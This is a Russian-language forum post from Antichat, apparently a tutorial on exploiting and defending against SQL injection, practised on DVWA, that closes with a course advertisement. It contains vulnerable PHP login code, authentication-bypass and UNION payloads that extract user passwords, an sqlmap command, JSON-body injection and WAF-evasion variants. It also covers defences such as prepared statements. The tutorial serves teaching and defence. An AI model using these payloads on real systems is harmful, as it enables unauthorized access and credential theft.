ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Веб-уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Практическое руководство по эксплуатации уязвимости SQL Injection: от теории до реального кейса (https://forum.antichat.xyz/showthread.php?t=585282)

Сергей Попов 23.05.2025 12:13

https://forum.antichat.xyz/attachmen...7988581793.png

Цитата:


Представьте, что всего одна строка в текстовом поле входа способна обойти всю систему аутентификации и открыть доступ к базе данных сайта. Звучит как кино? Это реальность, и имя ей — SQL Injection.

Введение
SQL Injection — одна из самых опасных и распространённых уязвимостей в веб-приложениях. Несмотря на то, что о ней говорят уже больше 20 лет, до сих пор тысячи сайтов остаются уязвимыми.

В этой статье мы разберём:
  • Как работает SQL-инъекция на примере уязвимого веб-приложения.
  • Практическую эксплуатацию с использованием Python и SQLmap.
  • Как защититься от таких атак.
  • Современные техники обхода WAF и сложные кейсы.
Если вы занимаетесь пентестом или веб-разработкой — этот материал поможет вам глубже понять механизмы атаки и защиты.
Как работает SQL Injection?
SQL-инъекция возникает, когда приложение некорректно обрабатывает пользовательский ввод, позволяя злоумышленнику внедрить произвольный SQL-код.

Пример уязвимого PHP-кода:

PHP:


Код:

$username
=
$_POST
[
'username'
]
;
$password
=
$_POST
[
'password'
]
;
$query
=
"SELECT * FROM users WHERE username='$username' AND password='$password'"
;
$result
=
mysqli_query
(
$conn
,
$query
)
;

Если ввести
Код:

admin' --
в поле
Код:

username
, запрос превратится в:

SQL:


Код:

SELECT
*
FROM
users
WHERE
username
=
'admin'
--' AND password='...'

Комментарий
Код:

--
отключает проверку пароля, и злоумышленник получает доступ к аккаунту администратора.
Эксплуатация SQL-инъекции на практике
Рассмотрим реальный кейс с уязвимым сайтом (используем легальный стенд, например, We;come DVWA - Damn Vulnerable Web Application или OWASP WebGoat | OWASP Foundation).
1. Установка DVWA (для новичков)
  1. Скачайте DVWA с We;come DVWA - Damn Vulnerable Web Application.
  2. Установите XAMPP или LAMP для локального сервера.
  3. Разместите файлы DVWA в папке
    Код:

    htdocs
    (или аналогичной).
  4. Настройте базу данных в
    Код:

    config.inc.php
    .
  5. Запустите сервер и откройте DVWA в браузере.
2. Обнаружение уязвимости
Проверим форму входа на SQL-инъекцию:
  • Вводим
    Код:

    '
    — если появляется ошибка SQL, уязвимость есть.
  • Пробуем
    Код:

    ' OR 1=1 --
    — если авторизация проходит, инъекция подтверждена.
3. Извлечение данных с помощью UNION-атаки
Если приложение выводит результаты запроса, можно использовать UNION для получения данных из других таблиц.

Пример запроса:

SQL:


Код:

'
UNION
SELECT
username
,
password
FROM
users
--

В ответе могут оказаться хэши паролей, которые затем можно взломать через John the Ripper password cracker или hashcat - advanced password recovery.
4. Автоматизация с помощью SQLmap
Для ускорения тестирования используем SQLmap:

Bash:


Код:

sqlmap -u
"http://example.com/login.php"
--data
=
"username=admin&password=123"
--dbs

Объяснение флагов:
  • Код:

    -u
    — URL-адрес цели.
  • Код:

    --data
    — данные POST-запроса.
  • Код:

    --dbs
    — извлечение списка баз данных.
5. Современные техники: SQLi в REST API и обход WAF
SQLi в REST API
Если приложение использует JSON, инъекцию можно внедрить в тело запроса:

JSON:


Код:

{
"username"
:
"admin' OR 1=1 --"
,
"password"
:
"password"
}

Обход WAF
Для обхода WAF можно использовать:
  • Модификацию ключевых слов:

    SQL:


    Код:

    SELSELECTECT
    *
    FROM
    users
    WHERE
    username
    =
    'admin'

  • Каскадные запросы:

    SQL:


    Код:

    '; SELECT * FROM users WHERE '
    1
    '='
    1

Рекомендуемые материалы по SQL Injection на античат
  1. CTF: Решаем SQL Injection задания

    Практический разбор SQLi-задач с использованием SQLmap и ручных техник. Подходит для подготовки к CTF и отработки навыков на легальных стендах.
  2. SQL-injection, Error Based - XPATH

    Разбор инъекций через функции
    Код:

    extractvalue()
    и
    Код:

    updatexml()
    в MySQL, с примерами и объяснением механизмов.
  3. SQL Injection: обсуждение и вопросы

    Форумная тема с обсуждением различных техник SQL-инъекций, включая Boolean-based и обход фильтров, с примерами запросов и советами от участников.
Как защититься от SQL Injection?
  • Используйте подготовленные выражения (Prepared Statements)

    PHP:


    Код:

    $stmt
    =
    $conn
    -
    >
    prepare
    (
    "SELECT * FROM users WHERE username=? AND password=?"
    )
    ;
    $stmt
    -
    >
    bind_param
    (
    "ss"
    ,
    $username
    ,
    $password
    )
    ;
    $stmt
    -
    >
    execute
    (
    )
    ;

  • Применяйте ORM (например, SQLAlchemy, Django ORM)

    ORM автоматически экранируют запросы, предотвращая инъекции.
  • Ограничивайте права БД

    У приложения не должно быть прав на
    Код:

    DROP TABLE
    или
    Код:

    UNION SELECT
    .
  • Используйте WAF (например, ModSecurity)

    WAF помогает блокировать известные шаблоны атак.
  • Проверяйте ввод данных

    Используйте whitelisting (разрешение только ожидаемых значений).
SQL Injection остаётся серьёзной угрозой, но её можно избежать, следуя best practices. Если вы тестируете свои приложения — обязательно проверяйте их на уязвимости, а если разрабатываете — всегда используйте параметризованные запросы.

FAQ

Как тестировать SQLi легально?
Только на своих приложениях или через bug bounty (например, на HackerOne).

Какие ещё есть виды SQL-инъекций?
Слепые (Blind SQLi), основанные на времени (Time-Based) и ошибках (Error-Based).

Как обнаружить слепую SQLi?
Через условные ошибки или задержки ответа (например,
Код:

SLEEP(5)
).

Какие ORM лучше защищают от SQLi?
Django ORM, SQLAlchemy и Hibernate автоматически экранируют запросы.

Можно ли защититься только с помощью WAF?
Нет, WAF помогает, но не заменяет безопасный код.

Цитата:


Хотите глубже разобрать техники SQL-инъекций и научиться использовать их профессионально?

На курсе «SQL Injection: от сканирования до эксплуатации» от античат вы:

Освоите 20+ техник SQLi (Classic, Blind, Time-based, Error-based, Out-of-Band)

Научитесь автоматизировать атаки с SQLmap и писать свои payload’ы

Получите практику на легальных стендах и CTF-задачах

Разберёте методы обхода WAF и эксплуатации SQLi в API

Старт ближайшего потока — 23 июня.


Попробуйте повторить атаку на DVWA и поделитесь результатами в комментариях!


Время: 11:34